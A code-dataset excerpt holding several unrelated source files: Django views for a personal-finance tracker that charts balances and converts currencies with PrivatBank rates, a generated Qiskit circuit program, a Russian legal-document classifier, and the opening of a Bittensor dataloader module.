convert_str_to_date(str_date):\n \"\"\"Return date or None if it's impossible convert.\"\"\"\n\n if not str_date:\n return None\n\n try:\n d = dt.datetime.strptime(str_date, DATE_FORMAT)\n except ValueError:\n d = None\n return d\n\n\ndef get_currencies_exchange():\n \"\"\"Return average currencies exchange.\"\"\"\n\n currencies_exchange = {}\n\n url_cash = \"https://api.privatbank.ua/p24api/pubinfo?json&exchange&coursid=5\"\n url_card = \"https://api.privatbank.ua/p24api/pubinfo?exchange&json&coursid=11\"\n\n cash_data = get_request_json_data(url_cash)\n card_data = get_request_json_data(url_card)\n\n if cash_data:\n\n for cash in cash_data:\n if cash.get(\"base_ccy\", None) == UAH:\n currencies_exchange[cash['ccy']] = float(cash['sale'])\n\n if card_data:\n\n for card in card_data:\n if card.get(\"base_ccy\", None) == UAH:\n if currencies_exchange.get(card[\"ccy\"], None):\n currencies_exchange[card['ccy']] = (currencies_exchange[card['ccy']] + float(card['sale']))/2\n else:\n currencies_exchange[card['ccy']] = float(card['sale'])\n\n return currencies_exchange\n\n\ndef get_request_json_data(url):\n \"\"\"Return data in json or None\"\"\"\n try:\n req = requests.get(url)\n data = json.loads(req.text)\n except Exception as e:\n print(e)\n data = None\n finally:\n return data\n\n\ndef get_context_for_stat(request, without_currencies=False):\n\n # get start, end and currency from request if defined\n start, end, currency = None, None, None\n if request.method == \"GET\":\n\n start = convert_str_to_date(request.GET.get('start', None))\n end = convert_str_to_date(request.GET.get('end', None))\n\n if not without_currencies:\n currency = request.GET.get(\"currency\", None)\n if currency == \"All\":\n currency = None\n\n # get last month if start and end is not defined\n if not start:\n start = timezone.now() - dt.timedelta(days=30)\n if not end:\n end = timezone.now()\n\n context = {\n \"start\": start.strftime(DATE_FORMAT),\n \"end\": end.strftime(DATE_FORMAT),\n }\n\n if not without_currencies:\n # get all currency codes\n context[\"currencies\"] = [currency.code for currency in Currency.objects.filter(user=request.user)]\n context[\"currencies_exchange\"] = get_currencies_exchange()\n\n # if currencies is not defined, get exchange of currencies and\n # calculate value to one currencies UAH\n currencies_exchange = {} if currency != None else context[\"currencies_exchange\"]\n\n kwargs = locals()\n del kwargs['request']\n del kwargs['without_currencies']\n\n return kwargs\n\n\n@login_required\ndef balance(request):\n \"\"\"Show the balance for every currency and account\"\"\"\n\n context = {}\n colors, c = get_colors(), 0\n colors_length = len(colors)-1\n account_data, currencies = [], []\n currencies_exchange = get_currencies_exchange()\n amount_of_balance = 0\n\n # get all accounts and their balance\n for account in Account.objects.filter(user=request.user):\n account_data.append(\n {\n 'title': str(account.account_name),\n 'balance': int(account.balance),\n 'currency': str(account.currency),\n 'value_field': str(account.account_name).replace(' ', ''),\n 'color': colors[c]\n }\n )\n # get unique currencies\n if str(account.currency) not in currencies:\n currencies.append(str(account.currency))\n # choose color\n c += 1\n if c > colors_length:\n c = 0\n\n # build data for chart\n chart_data = []\n for currency in currencies:\n chart_item = {'currency': currency}\n for item in account_data:\n if currency == item['currency']:\n chart_item[item['value_field']]= item['balance']\n amount_of_balance += item['balance'] * currencies_exchange.get(item['currency'], 1)\n chart_data.append(chart_item)\n\n context['account_data'] = json.dumps(account_data)\n context['chart_data'] = json.dumps(chart_data)\n context['amount_of_balance'] = round(amount_of_balance, 2)\n context['currencies_exchange'] = currencies_exchange\n context['analysis_active'] = 'active'\n context['account_balance_active'] = 'active'\n\n return render(request, 'analysis/balance.html', context)\n\n\n@login_required\ndef account_currency_stat(request):\n \"\"\"Return data for last month\"\"\"\n\n kws = get_context_for_stat(request, True)\n context, start, end = kws['context'], kws['start'], kws['end']\n\n # data is list of tuple: fist column is currency code,\n # second is account name, third is amount of costs||incomes,\n # forth is type of article (1=cost, 0=income)\n data = queries.get_accounts_currencies_stat(start.strftime(DATE_FORMAT),\n end.strftime(DATE_FORMAT),\n str(request.user.id))\n\n colors, c = get_colors(), 0\n colors_length = len(colors) - 1\n account_data, currencies = [], []\n amount_of_costs, amount_of_incomes = 0, 0\n currencies_exchange = get_currencies_exchange()\n\n # get all accounts and their amount of consts and incomes\n for item in data:\n\n # calculate amount of costs and incomes\n if item[3] == 0:\n amount_of_incomes += item[2]*currencies_exchange.get(item[0], 1)\n else:\n amount_of_costs += (-item[2])*currencies_exchange.get(item[0], 1)\n\n account_data.append(\n {\n 'title': (\"Cost of \" if item[3]==1 else \"Income of \") + str(item[1]),\n 'amount': int(item[2]),\n 'currency': str(item[0]),\n 'value_field': str(item[1]).replace(' ', '')+str(item[3]),\n 'color': colors[c]\n }\n )\n # get unique currencies\n if str(item[0]) not in currencies:\n currencies.append(str(item[0]))\n # choose color\n c += 1\n if c > colors_length:\n c = 0\n\n # build data for chart\n chart_data = []\n types = [\n {'type': \"Cost \", \"amount\": \"item['amount'] < 0\"},\n {'type': \"Income \", \"amount\": \"item['amount'] > 0\"},\n ]\n for currency in currencies:\n for type in types:\n chart_item = {'currency': type['type'] + currency}\n for item in account_data:\n if currency == item['currency'] and eval(type['amount']):\n chart_item[item['value_field']] = item['amount']\n if len(chart_item.keys())>1:\n chart_data.append(chart_item)\n\n context['account_data'] = json.dumps(account_data)\n context['chart_data'] = json.dumps(chart_data)\n context['amount_of_costs'] = round(amount_of_costs, 2)\n context['amount_of_incomes'] = round(amount_of_incomes,2)\n context['profit'] = amount_of_incomes - amount_of_costs\n context['currencies_exchange'] = currencies_exchange\n context['account_currency_stat_active'] = 'active'\n context['analysis_active'] = 'active'\n\n return render(request, 'analysis/account_currency_stat.html', context)\n\n\n@login_required\ndef costs_incomes_stat(request):\n\n kws = get_context_for_stat(request)\n context, start, end =kws['context'], kws['start'], kws['end']\n currency, currencies, currencies_exchange = kws['currency'], kws['context']['currencies'], kws['currencies_exchange']\n\n # data is list of tuple: fist column is currency code,\n # second is cost or income name, third is amount\n data = queries.get_costs_incomes_stat(start.strftime(DATE_FORMAT),\n end.strftime(DATE_FORMAT),\n str(request.user.id))\n\n costs_data, incomes_data = [], []\n amount_of_costs, amount_of_incomes = 0, 0\n for item in data:\n\n # if currency is defined and isn't equal current,\n # filtered this one\n if currency != None and currency != item[0]:\n continue\n\n # calculate exchange currency. if it is not found, input 1\n exchange = currencies_exchange.get(item[0], 1)\n\n value = round(abs(item[2])*exchange, 2)\n if item[2]<0:\n amount_of_costs += value\n costs_data.append(\n {\"cost\": item[1], \"value\": value}\n )\n else:\n amount_of_incomes += value\n incomes_data.append(\n {\"income\": item[1], \"value\": value}\n )\n\n context['costs_data'] = json.dumps(costs_data)\n context['incomes_data'] = json.dumps(incomes_data)\n context['amount_of_costs'] = amount_of_costs\n context['amount_of_incomes'] = amount_of_incomes\n context['profit'] = amount_of_incomes-amount_of_costs\n context['currency'] = currency\n context['costs_incomes_stat_active'] = 'active'\n context['analysis_active'] = 'active'\n\n return render(request, 'analysis/costs_incomes_stat.html', context)\n\n\n@login_required\ndef costs_incomes_history(request):\n\n kws = get_context_for_stat(request)\n context, start, end = kws['context'], kws['start'], kws['end']\n currency, currencies, currencies_exchange = kws['currency'], kws['context']['currencies'], kws['currencies_exchange']\n\n # data is list of tuple: fist column is currency code,\n # second is date, third is amount, forth type (1=cost, 0=income)\n data = queries.get_costs_incomes_stat_history(start.strftime(DATE_FORMAT),\n end.strftime(DATE_FORMAT),\n str(request.user.id))\n\n # get unique date\n dates, deletes = [], []\n for i, item in enumerate(data):\n # if currency is defined and isn't equal current,\n # filtered this one\n if currency != None and currency != item[0]:\n deletes.insert(0, i)\n continue\n # input unique date\n if item[1] not in dates:\n dates.append(item[1])\n\n # delete data\n for i in deletes:\n del data[i]\n\n # build data for chart\n chart_data, pre_ay, pre_by = [], 0, 0\n for date in dates:\n\n chart_item = {\n \"date\": date.strftime(DATE_FORMAT),\n \"ay\": pre_ay,\n \"by\": pre_by,\n }\n\n deletes = []\n for i, item in enumerate(data):\n if item[1] != date:\n break\n # delete items that is calculated now\n deletes.insert(0, i)\n # calculate exchange currency. if it is not found, input 1\n exchange = currencies_exchange.get(item[0], 1)\n if item[3] == 1:\n chart_item[\"ay\"] += round(abs(item[2])*exchange, 2)\n else:\n chart_item[\"by\"] += round(abs(item[2])*exchange, 2)\n\n # delete iterated item\n for i in deletes:\n del data[i]\n\n # save previous value\n pre_ay, pre_by = round(float(chart_item['ay']), 2), round(float(chart_item['by']), 2)\n chart_data.append(chart_item)\n\n context['chart_data'] = json.dumps(chart_data)\n context['currency'] = currency\n context['costs_incomes_history_active'] = 'active'\n context['analysis_active'] = 'active'\n\n return render(request, 'analysis/costs_incomes_history.html', context)\n\n\n@login_required\ndef shops_stat(request):\n\n kws = get_context_for_stat(request)\n context, start, end =kws['context'], kws['start'], kws['end']\n currency, currencies, currencies_exchange = kws['currency'], kws['context']['currencies'], kws['currencies_exchange']\n\n # data is list of tuple: fist column is currency code,\n # second is shop name, third is amount\n data = queries.get_shops_stat(start.strftime(DATE_FORMAT),\n end.strftime(DATE_FORMAT),\n str(request.user.id))\n\n chart_data = []\n amount_of_costs, amount_of_incomes = 0, 0\n colors = get_colors()\n colors_length, c = len(colors)-1, 0\n\n # get unique shops and delete filter\n data_delete, shops = [], []\n for i, item in enumerate(data):\n # if currency is defined and isn't equal current,\n # filtered this one\n if currency != None and currency != item[0]:\n data_delete.insert(0, i)\n continue\n\n if item[1] not in shops:\n shops.append(item[1])\n\n for i in data_delete:\n del data[i]\n\n\n\n # calculate chart data\n for shop in shops:\n\n item_cost = {\n \"shop\": \"Cost of \" + shop,\n \"value\": 0,\n \"color\": colors[c],\n }\n item_income ={\n \"shop\": \"Income of \" + shop,\n \"value\": 0,\n \"color\": colors[c],\n }\n\n data_delete = []\n for i, item in enumerate(data):\n\n if item[1] != shop:\n break\n\n data_delete.insert(0, i)\n\n # calculate exchange currency. if it is not found, input 1\n exchange = currencies_exchange.get(item[0], 1)\n\n value = round(item[2]*exchange, 2)\n if value<0:\n amount_of_costs += abs(value)\n item_cost[\"value\"] += value\n else:\n amount_of_incomes += value\n item_income[\"value\"] += value\n\n for i in data_delete:\n del data[i]\n\n if item_cost[\"value\"] != 0:\n chart_data.append(item_cost)\n if item_income['value'] != 0:\n chart_data.append(item_income)\n\n c += 1\n if c > colors_length:\n c = 0\n\n context['chart_data'] = json.dumps(chart_data)\n context['amount_of_costs'] = amount_of_costs\n context['amount_of_incomes'] = amount_of_incomes\n context['profit'] = amount_of_incomes-amount_of_costs\n context['currency'] = currency\n context['shops_stat_active'] = 'active'\n context['analysis_active'] = 'active'\n\n return render(request, 'analysis/shops_stat.html', context)\n\n\n\n", "sub_path": "analysis/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 14753, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "json.loads", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 74, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 75, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 99, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 99, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 99, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 101, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 101, "usage_type": "name"}, {"api_name": "transactions.models.Currency.objects.filter", "line_number": 110, "usage_type": "call"}, {"api_name": "transactions.models.Currency.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "transactions.models.Currency", "line_number": 110, "usage_type": "name"}, {"api_name": "transactions.models.Account.objects.filter", "line_number": 136, "usage_type": "call"}, {"api_name": "transactions.models.Account.objects", "line_number": 136, "usage_type": "attribute"}, {"api_name": "transactions.models.Account", "line_number": 136, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 164, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 165, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 171, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 124, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 235, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 236, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 244, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 174, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 284, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 285, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 293, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 247, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 356, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 361, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 296, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 444, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 452, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 364, "usage_type": "name"}]} {"seq_id": "633792549", "text": "# SECTION\n# NAME: PROLOGUE\n\nimport qiskit\nfrom qiskit import QuantumCircuit, ClassicalRegister, QuantumRegister\nfrom qiskit.circuit.library.standard_gates import *\nfrom qiskit.circuit import Parameter\n# SECTION\n# NAME: CIRCUIT\n\nqr = QuantumRegister(6, name='qr')\ncr = ClassicalRegister(6, name='cr')\nqc = QuantumCircuit(qr, cr, name='qc')\nqc.append(ECRGate(), qargs=[qr[0], qr[1]], cargs=[])\nqc.append(RXXGate(0.7226506013555898), qargs=[qr[1], qr[4]], cargs=[])\n\n\nsubcircuit = QuantumCircuit(qr, cr, name='subcircuit')\nsubcircuit.append(CCXGate(), qargs=[qr[0], qr[1], qr[5]], cargs=[])\nsubcircuit.append(C4XGate(), qargs=[qr[4], qr[0], qr[5], qr[2], qr[1]], cargs=[])\nsubcircuit.append(CYGate(), qargs=[qr[0], qr[2]], cargs=[])\nsubcircuit.append(CRZGate(2.7525044919718797), qargs=[qr[0], qr[3]], cargs=[])\nsubcircuit.append(RZZGate(0.6881227037382152), qargs=[qr[3], qr[4]], cargs=[])\nsubcircuit.append(RXXGate(2.605316968096909), qargs=[qr[3], qr[4]], cargs=[])\nsubcircuit.append(RZGate(1.032590781866799), qargs=[qr[0]], cargs=[])\nsubcircuit.append(CSwapGate(), qargs=[qr[3], qr[5], qr[2]], cargs=[])\n\nqc.append(subcircuit, qargs=qr, cargs=cr)\nqc.append(subcircuit.inverse(), qargs=qr, cargs=cr)\nqc.append(YGate(), qargs=[qr[4]], cargs=[])\nqc.append(RZXGate(2.9059964560129927), qargs=[qr[5], qr[4]], cargs=[])\nqc.append(RCCXGate(), qargs=[qr[0], qr[2], qr[3]], cargs=[])\nqc.append(RZXGate(1.7133393609362295), qargs=[qr[5], qr[3]], cargs=[])\nqc.append(TdgGate(), qargs=[qr[2]], cargs=[])\nqc.append(RCCXGate(), qargs=[qr[2], qr[0], qr[1]], cargs=[])\n# SECTION\n# NAME: MEASUREMENT\n\nqc.measure(qr, cr)\n# SECTION\n# NAME: OPTIMIZATION_LEVEL\n\nfrom qiskit import transpile\nqc = transpile(qc, basis_gates=None, optimization_level=0, coupling_map=None)\n# SECTION\n# NAME: QASM_CONVERSION\n\nqc = QuantumCircuit.from_qasm_str(qc.qasm())\n# SECTION\n# NAME: EXECUTION\n\nfrom qiskit import Aer, transpile, execute\nbackend_470cddb0eb3a48219af00ff25a648093 = Aer.get_backend('qasm_simulator')\ncounts = execute(qc, backend=backend_470cddb0eb3a48219af00ff25a648093, shots=1385).result().get_counts(qc)\nRESULT = counts\n", "sub_path": "warnings/program_pairs/12_799857/followup_799857e40bee4c7db1b65a3c190d67ca.py", "file_name": "followup_799857e40bee4c7db1b65a3c190d67ca.py", "file_ext": "py", "file_size_in_byte": 2102, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "qiskit.QuantumRegister", "line_number": 11, "usage_type": "call"}, {"api_name": "qiskit.ClassicalRegister", "line_number": 12, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 13, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 18, "usage_type": "call"}, {"api_name": "qiskit.transpile", "line_number": 44, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit.from_qasm_str", "line_number": 48, "usage_type": "call"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 48, "usage_type": "name"}, {"api_name": "qiskit.Aer.get_backend", "line_number": 53, "usage_type": "call"}, {"api_name": "qiskit.Aer", "line_number": 53, "usage_type": "name"}, {"api_name": "qiskit.execute", "line_number": 54, "usage_type": "call"}]} {"seq_id": "563312114", "text": "import enum\nimport json\nimport logging\nimport os.path\nimport re\nfrom pathlib import Path\n\nimport tensorflow as tf\nfrom nltk.tokenize import WhitespaceTokenizer\nfrom transformers import AutoTokenizer, TFAutoModelForSequenceClassification\n\nfrom analyser.dictionaries import integration_path, labels, label2id\n\nall_key = {\n \"CONTRACT\": [\n 'предмет договра', 'предмет договора', 'Предмет контракта',\n 'Предмет догов', 'Предмет и общие условия договора',\n 'Общие ', 'Общие сведения', 'Общие положение', 'Статья'\n ],\n \"AGREEMENT\": [\n 'Предмет соглашения', 'Общие ', 'Общие сведения', 'Общие положение', 'определил:', 'Статья'\n ],\n \"SUPPLEMENTARY_AGREEMENT\": [],\n \"POWER_OF_ATTORNEY\": ['уполномочивает', 'предоставляет', 'назначает', 'доверенность']\n}\n\nall_bad_keys = ['Термины и определения', 'Термин', 'определения', 'Содержание']\n\nall_good_keys = ['Цели и задачи']\n\n\n\nmodel = None\ntokenizer = None\npath_to_model = os.path.join(integration_path, 'doc-classification')\nmodel_checkpoint2 = \"sberbank-ai/ruRoberta-large\"\nwith open(os.path.join(integration_path, 'keys_from_documents.json'), encoding='utf-8') as json_file_with_key:\n key_data = json.load(json_file_with_key)\n\n\nclass list_of_sheets(enum.Enum):\n GOOD = 0\n BAD = 1\n TEST = 2\n TEST2 = 3\n\n\ndef wrapper(document):\n \"\"\"\n document: Документ от парсера\n\n Returns: Массив из практик отсортированных по наибольшему проценту\n \"\"\"\n if not document:\n return None\n\n global model\n global tokenizer\n\n json_from_text, sheet = get_text(document, path='There\\\\is\\\\nothing\\\\here')\n\n if json_from_text is None or json_from_text['text'] == '':\n return None\n\n if tokenizer is None and model is None:\n if os.path.exists(path_to_model) and os.path.exists(os.path.join(path_to_model, 'config.json')) and os.path.exists(os.path.join(path_to_model, 'tf_model.h5')):\n model = TFAutoModelForSequenceClassification.from_pretrained(\n str(path_to_model), num_labels=len(labels), from_pt=False\n )\n # tokenizer = AutoTokenizer.from_pretrained(str(model_checkpoint2))\n if Path('./tokenizer').is_dir():\n tokenizer = AutoTokenizer.from_pretrained(str('./tokenizer/'))\n else:\n tokenizer = AutoTokenizer.from_pretrained(str(model_checkpoint2))\n tokenizer.save_pretrained('./tokenizer/')\n else:\n logging.error('Document classification model is not found. To enable document classification put files config.json and tf_model.h5 in integration/classifier/doc-classification')\n result_from_tokenizer = tokenizer(json_from_text['text'], truncation=True, max_length=512)\n predictions = model.predict([result_from_tokenizer['input_ids']])['logits']\n predictions = tf.nn.softmax(predictions, name=None)[0].numpy()\n result = []\n for index, item in enumerate(predictions):\n result.append({\n 'id': label2id[labels[index]],\n 'label': labels[index],\n 'score': item.item()\n })\n return sorted(result, key=lambda x: x['score'], reverse=True)\n\n\ndef get_text(document, filename: str = \"\", path: str = \"\"):\n text: str = \"\"\n for ind, par in enumerate(document['paragraphs']):\n if ind < 7:\n text += ' ' + document['paragraphs'][ind]['paragraphHeader']['text']\n text += ' ' + document['paragraphs'][ind]['paragraphBody']['text']\n text += ' ' + document['paragraphs'][ind]['paragraphBody']['text']\n\n text = clear_text(text)\n text = remove_signature(text)\n text, is_cut_off = remove_header(text)\n text = remove_footer(text)\n text = remove_equal(text)\n\n list_of_tokenize_words: [str] = WhitespaceTokenizer().tokenize(text)\n # if len(list_of_tokenize_words) >= 300 and not is_cut_off:\n # text = ' '.join(list_of_tokenize_words[50:450])\n # else:\n text = ' '.join(list_of_tokenize_words[:450])\n\n validation, length, words_length = basic_text_validation(text)\n return {\n \"path\": path,\n \"documentType\": document[\"documentType\"],\n \"name\": filename if not path else path.split(\"\\\\\")[-1],\n \"text\": text,\n \"length\": len(text),\n \"characterLength\": length,\n \"wordsLength\": words_length,\n }, list_of_sheets.GOOD if validation else list_of_sheets.BAD\n\n\ndef clear_text(text: str) -> str:\n text = re.sub(r'\\s', ' ', text)\n text = re.sub(r' +', ' ', text)\n text = re.sub(r'(([а-яА-Яa-zA-Z\\d\\s\\u0000-\\u26FF]{1,2}( |\\s)){5,})', '', text)\n\n bad_symbols = ['_+', '_x000D_', '\\x07', 'FORMTEXT', 'FORMDROPDOWN',\n '\\u0013', '\\u0001', '\\u0014', '\\u0015', '\\u0007', '<', '>']\n for bad_symbol in bad_symbols:\n text = re.sub(bad_symbol, '', text)\n return text\n\n\ndef remove_header(text: str) -> (str, bool):\n text = re.sub(r'(\\d+, г\\. [а-яА-Я\\-]+, (ул\\.| |)( |)[а-яА-Я\\-]+(| )(проспект|улица|| ),( |)д\\.( |)[\\d\\-]+)', ' ',\n text)\n text = re.sub(\n r'(\\d+,(| )[а-яА-Я\\- ]+(| ),(| )[а-яА-Я\\-]+(| ),'\n r'(| )г\\. [а-яА-Я\\-]+(|,| ) (ул\\.| |)( |)[а-яА-Я\\-]+(| |,)( |)д\\.( |)[\\d\\-]+)',\n ' ',\n text)\n text = re.sub(r'(\\s+(ИНН|ОГРН|ОКПО|КПП)\\s+\\d+(\\s+|,|\\.))', ' ', text)\n text = re.sub(r'(\\((ИНН|ОГРН|ОКПО|КПП)\\s+\\d+\\))', ' ', text)\n text = re.sub(r'((ИНН|ОГРН|ОКПО|КПП)\\s+\\d+)', ' ', text)\n text = re.sub(\n r'((\\s+|^)[а-яА-Я\\- ]+, \\d+, [а-яА-Я]+\\. [а-яА-Я]+, г\\. [а-яА-Я\\-]+, '\n r'(ул\\.| |)( |)[а-яА-Я\\-]+(,|\\.)( |)д\\.( |)[\\d\\-а-яА-Я]+)',\n '', text)\n text = re.sub(r'((\\s+|^)[а-яА-Я\\- ]+, \\d+, [а-яА-Я]+,\\s+[а-яА-Я\\s]+,\\s+г\\.\\s+[а-яА-Я\\s]+,'\n r'\\s+(ул\\.|пр\\.)\\s+[а-яА-Я\\s\\d]+,\\s+(д\\.|дом)\\s+\\d+(\\s+|)[а-яА-Я])', ' ', text)\n\n text = re.sub(r'(\\d+,(|\\s+)[а-яА-Я\\- ]+(|\\s+),(\\s+|)(г\\.|город) [а-яА-Я\\-]+(|,|\\s+)\\s(ул\\.|\\s+|улица)'\n\n r'( |)[а-яА-Я\\-]+(| |,)(\\s+|)(д\\.|дом)(\\s+|)[\\d\\-]+(\\s+|)[а-яА-Я\\-])', ' ', text)\n text = re.sub(r'(\\d+,(\\s+[а-яА-Я\\s\\.\\-\\d]+,){4,}[а-яА-Я\\s\\.]+[\\d\\sа-яА-Я]+)', ' ', text)\n\n phrase = re.findall(r'((?i)((\\s+|^)([\\d\\.]{2,4})\\s+Предмет Договора))', text)\n\n if phrase:\n try:\n return ' '.join(text.split(phrase[0][0])[1:]), True\n except Exception:\n print(phrase)\n else:\n number = re.findall(r'(\\d\\.\\d\\.)', text)\n if number:\n return ' '.join(text.split(number[0])[1:]), True\n return text, False\n\n\ndef basic_text_validation(text: str) -> (bool, int, int):\n basic_text_in_low_reg = text.lower()\n length = len(basic_text_in_low_reg)\n words_length = len(WhitespaceTokenizer().tokenize(basic_text_in_low_reg))\n return length >= 200 and words_length >= 20, length, words_length\n\n\ndef remove_footer(text: str) -> str:\n for key in ['С уважением', 'Приложение:', 'ЗАКАЗЧИК:', 'ПОДРЯДЧИК:']:\n array_of_text = re.split(f\"(?i)({key})\", text)\n if array_of_text and len(array_of_text) > 1:\n text = ''.join(array_of_text[:-2])\n return text\n\n\ndef remove_equal(text: str) -> str:\n text = text.strip()\n if text.startswith('='):\n text = text[1:]\n return text\n\n\ndef remove_signature(text: str) -> str:\n for key in [\"Подписи Сторон:\"]:\n if key.lower() in text.lower():\n split_text = re.split(f\"(?i)({key})\", text)\n text = ' '.join(split_text[:-2])\n return text\n", "sub_path": "integration/classifier/search_text.py", "file_name": "search_text.py", "file_ext": "py", "file_size_in_byte": 8079, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "analyser.dictionaries.integration_path", "line_number": 35, "usage_type": "argument"}, {"api_name": "os.path.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 35, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "analyser.dictionaries.integration_path", "line_number": 37, "usage_type": "argument"}, {"api_name": "os.path.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 37, "usage_type": "name"}, {"api_name": "json.load", "line_number": 38, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.path.exists", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 66, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "transformers.TFAutoModelForSequenceClassification.from_pretrained", "line_number": 67, "usage_type": "call"}, {"api_name": "transformers.TFAutoModelForSequenceClassification", "line_number": 67, "usage_type": "name"}, {"api_name": "analyser.dictionaries.labels", "line_number": 68, "usage_type": "argument"}, {"api_name": "pathlib.Path", "line_number": 71, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 72, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 72, "usage_type": "name"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 74, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 74, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 80, "usage_type": "attribute"}, {"api_name": "analyser.dictionaries.label2id", "line_number": 84, "usage_type": "name"}, {"api_name": "analyser.dictionaries.labels", "line_number": 84, "usage_type": "name"}, {"api_name": "analyser.dictionaries.labels", "line_number": 85, "usage_type": "name"}, {"api_name": "nltk.tokenize.WhitespaceTokenizer", "line_number": 105, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 124, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 125, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 126, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 131, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 136, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 138, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 143, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 144, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 145, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 146, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 150, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 153, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 156, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 158, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 166, "usage_type": "call"}, {"api_name": "nltk.tokenize.WhitespaceTokenizer", "line_number": 175, "usage_type": "call"}, {"api_name": "re.split", "line_number": 181, "usage_type": "call"}, {"api_name": "re.split", "line_number": 197, "usage_type": "call"}]} {"seq_id": "491238030", "text": "\"\"\" Create and init the GenesisTextDataloader class, which handles dataloading from ipfs\n\"\"\"\n\n# The MIT License (MIT)\n# Copyright © 2021 Yuma Rao\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n# documentation files (the “Software”), to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,\n# and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in all copies or substantial portions of\n# the Software.\n\n# THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO\n# THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n\nimport argparse\nimport copy\nfrom munch import Munch\n\nimport bittensor\nfrom . import dataloader_impl\n\nclass dataloader:\n \"\"\" Create and init the GenesisTextDataloader class, which handles dataloading from ipfs\n \"\"\"\n def __new__(\n cls,\n config: 'bittensor.config' = None,\n block_size: int = None,\n batch_size: int = None,\n max_corpus_size:int = None,\n num_workers: int = None,\n dataset: str=None\n ):\n if config == None: \n config = dataloader.config()\n config = copy.deepcopy( config )\n config.dataloader.block_size = block_size if block_size != None else config.dataloader.block_size\n config.dataloader.batch_size = batch_size if batch_size != None else 